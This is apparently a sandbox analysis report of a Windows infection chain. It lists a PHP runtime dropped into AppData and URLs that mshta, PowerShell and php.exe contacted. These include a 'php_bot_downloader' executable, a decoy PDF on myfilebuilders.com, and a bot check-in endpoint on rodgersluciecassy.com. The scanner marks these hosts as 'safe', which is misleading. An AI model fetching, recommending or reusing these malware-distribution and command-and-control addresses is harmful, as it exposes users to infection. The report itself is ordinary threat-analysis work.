C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ftp.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gd.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gettext.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_imap.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_intl.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ldap.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mbstring.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mysqli.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_oci8_19.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_odbc.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_opcache.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_openssl.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_firebird.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_mysql.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_oci.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_odbc.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_pgsql.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_sqlite.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pgsql.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_shmop.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_snmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_soap.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sockets.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sodium.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sysvshm.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_tidy.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_xsl.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zend_test.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zip.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\extras\ssl\legacy.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\glib-2.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\gmodule-2.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icudt71.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuin71.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuio71.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuuc71.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\lib\enchant\libenchant2_hunspell.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libcrypto-3-x64.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libenchant2.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libpq.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsasl.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsodium.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssh2.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssl-3-x64.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\nghttp2.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-cgi.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8apache2_4.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8phpdbg.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8ts.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\phpdbg.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\vcruntime140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-C	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Social_Media_Report.pd	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Profes	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downlo	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Profess	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammLMEM	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_So	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Pro	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_d	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Soc	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloa	0%	Avira URL Cloud	safe
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd-//OASIS//DTD	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammMMC:	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammes	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Social_Media_R	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm(	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_down	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.e	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm...X5	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm0	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm/	0%	Avira URL Cloud	safe
http://www.zend.com/	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_do	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.ex	0%	Avira URL Cloud	safe
http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z30bE	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm7	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammkCg	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERA	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammF	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammB	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-B	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVER	0%	Avira URL Cloud	safe
http://rodgersluciecassy.com/mbp/apit.php	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammls	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm;	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAG	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammH	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammI	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammG	0%	Avira URL Cloud	safe
http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z3	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammL	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Soci	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammR	0%	Avira URL Cloud	safe
https://myfilebuilders.com	0%	Avira URL Cloud	safe
https://myfilebuilders.com/P	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Social_Media_	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm-0	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammP	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_dow	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_download	0%	Avira URL Cloud	safe
https://www.php.netD	0%	Avira URL Cloud	safe
http://bugs.php.net/report.php	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloade	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BO	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Profession	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samma	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm;.WSF;.WSH;.MS	0%	Avira URL Cloud	safe
http://rodgersluciecassy.com/mbp	0%	Avira URL Cloud	safe
https://myfilebuilders.c	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammj	0%	Avira URL Cloud	safe
http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z30r	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Social_Media_Report.pdf	0%	Avira URL Cloud	safe
https://myfilebuilders.co	0%	Avira URL Cloud	safe
http://rodgersluciecassy.com/mbp/down/	0%	Avira URL Cloud	safe
https://myfilebuilders.com/sammo	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm$global:?	0%	Avira URL Cloud	safe
http://myfilebuilders.com	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professional_Social_Medi	0%	Avira URL Cloud	safe
https://myfilebuilders.com/samm~	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE	0%	Avira URL Cloud	safe
https://myfilebuilders.com/Professi	0%	Avira URL Cloud	safe
https://myfilebuilders.com/php_bot_downloader_v2-	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://myfilebuilders.com/php_bot_downloader_	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Social_Media_Report.pd	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Profess	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-C	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Profes	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammLMEM	mshta.exe, 00000005.00000003.1846315954.000001EB13BD4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1847163890.000001EB13BD4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1855774349.000001EB13BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1848132792.000001EB13BEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/php/php-src/issues/(	tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000006.00000003.1665256909.000001B97E543000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/php_bot_downlo	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_d	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Pro	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_So	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd-//OASIS//DTD	php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloa	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Soc	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammMMC:	mshta.exe, 00000005.00000003.1843743882.000001EB0EFAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885688982.000001EB0EFAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1884092790.000001EB0EFAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1889989783.000001EB0EFAD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842138558.000001EB0EFA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842172300.000001EB0EFAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000006.00000003.1665256909.000001B97E512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/sammes	mshta.exe, 00000005.00000002.1888633604.000001E30CCBF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840043057.000001E30CCBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Social_Media_R	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/samm(	mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_down	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.e	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.php.net/	php.exe	false		high
https://myfilebuilders.com/samm...X5	mshta.exe, 00000005.00000003.1885898533.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841817928.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883693311.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890206556.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1848758754.000001EB0F024000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm0	mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zend.com/	php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm/	mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1654335033.000002A9CD591000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/php_bot_do	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.ex	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000006.00000003.1665256909.000001B97E562000.00000004.00000800.00020000.00000000.sdmp	false		high
http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z30bE	php.exe, 0000001C.00000002.2892874564.0000014E5D456000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm7	mshta.exe, 00000005.00000002.1888475276.000001E30CCA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammkCg	mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm;	powershell.exe, 00000004.00000002.1653965522.000002A9CB6D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammB	mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERA	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/sammF	mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-B	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000007.00000002.1757475272.000001F40C769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/php_bot_downloader_v2-AVER	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammls	mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://rodgersluciecassy.com/mbp/apit.php	php.exe, 00000018.00000002.2893070291.000001E12DC00000.00000004.00001000.00020000.00000000.sdmp, php.exe, 0000001C.00000002.2892874564.0000014E5D400000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAG	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammI	mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammH	mshta.exe, 00000005.00000002.1889045951.000001E30E5E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://rodgersluciecassy.com/mbp/apit.php?aid=2&mid=PKJ2RMXRS481H4NV6VCC978Z3	php.exe, 00000018.00000002.2893070291.000001E12DC57000.00000004.00001000.00020000.00000000.sdmp, php.exe, 0000001C.00000002.2892874564.0000014E5D456000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1814428015.000001F41BB25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/sammG	mshta.exe, 00000005.00000003.1841460930.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1846617746.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1890030259.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1885298177.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883848292.000001EB0F00C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1883290702.000001EB0F00A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000006.00000002.2897591888.000001B97E600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://myfilebuilders.com/sammL	mshta.exe, 00000005.00000002.1888475276.000001E30CC58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Soci	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammR	mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843470326.000001EB13999000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.1891448776.000001EB139B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com	powershell.exe, 00000007.00000002.1757475272.000001F40D71C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BCDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1757475272.000001F40BFBC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/P	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/Professional_Social_Media_	powershell.exe, 00000007.00000002.1757475272.000001F40D365000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/samm-0	mshta.exe, 00000005.00000002.1888475276.000001E30CC30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myfilebuilders.com/sammP	powershell.exe, 00000004.00000002.1653965522.000002A9CB6D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
